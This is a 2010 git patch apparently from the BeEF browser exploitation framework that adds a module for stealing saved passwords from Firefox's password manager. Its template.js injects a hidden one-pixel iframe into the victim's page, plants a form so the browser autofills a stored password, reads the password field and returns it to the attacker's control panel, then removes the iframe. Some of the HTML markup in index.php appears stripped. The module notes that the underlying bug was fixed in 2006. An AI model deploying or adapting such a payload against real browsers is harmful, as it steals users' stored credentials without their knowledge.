From e629163f068e0149896b7d46c3295e6393c72e5b Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Tue, 16 Mar 2010 11:49:23 +0000 Subject: [PATCH] finally added firefox password manager password theft module git-svn-id: https://beef.googlecode.com/svn/trunk@15 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- CHANGELOG | 3 ++ VERSION | 2 +- modules/standard/passwd_theft/index.php | 58 +++++++++++++++++++++++ modules/standard/passwd_theft/name.txt | 1 + modules/standard/passwd_theft/template.js | 16 +++++++ 5 files changed, 79 insertions(+), 1 deletion(-) create mode 100644 modules/standard/passwd_theft/index.php create mode 100644 modules/standard/passwd_theft/name.txt create mode 100644 modules/standard/passwd_theft/template.js diff --git a/CHANGELOG b/CHANGELOG index 58dfbb8aa..cca5e0e7c 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,6 @@ +Version 0.4.0.2 +Firefox password manager theft added + Version 0.4.0.1 Example (example.php) hardcoded path bug fixed diff --git a/VERSION b/VERSION index add7d6609..3ca565729 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.4.0.1 +0.4.0.2 diff --git a/modules/standard/passwd_theft/index.php b/modules/standard/passwd_theft/index.php new file mode 100644 index 000000000..0dd5d6e9e --- /dev/null +++ b/modules/standard/passwd_theft/index.php @@ -0,0 +1,58 @@ + + + + + + + +
Firefox Password Manager Password Theft
+This module will attempt to steal a password from Firefox's password manager.

+
+
+ + +
+
+ +
+
+ This bug was fixed in 2006. +
diff --git a/modules/standard/passwd_theft/name.txt b/modules/standard/passwd_theft/name.txt new file mode 100644 index 000000000..892f2ff3f --- /dev/null +++ b/modules/standard/passwd_theft/name.txt @@ -0,0 +1 @@ +Password Manager Theft diff --git a/modules/standard/passwd_theft/template.js b/modules/standard/passwd_theft/template.js new file mode 100644 index 000000000..a84d42548 --- /dev/null +++ b/modules/standard/passwd_theft/template.js @@ -0,0 +1,16 @@ + +// create iframe +var iframe = document.createElement('iframe'); +iframe.setAttribute("width", "1"); +iframe.setAttribute("height", "1"); +iframe.setAttribute("style", "visibility:hidden;"); +document.body.appendChild(iframe); + +// write content to iframe and return result +ifrm = (iframe.contentWindow) ? iframe.contentWindow : (iframe.contentDocument.document) ? iframe.contentDocument.document : iframe.contentDocument; +ifrm.document.write('
'); +ifrm.setTimeout('parent.return_result(parent.result_id, "Password: " + document.getElementById("p").value)', 100); + +// remove iframe +setTimeout('document.body.removeChild(iframe);', 200); +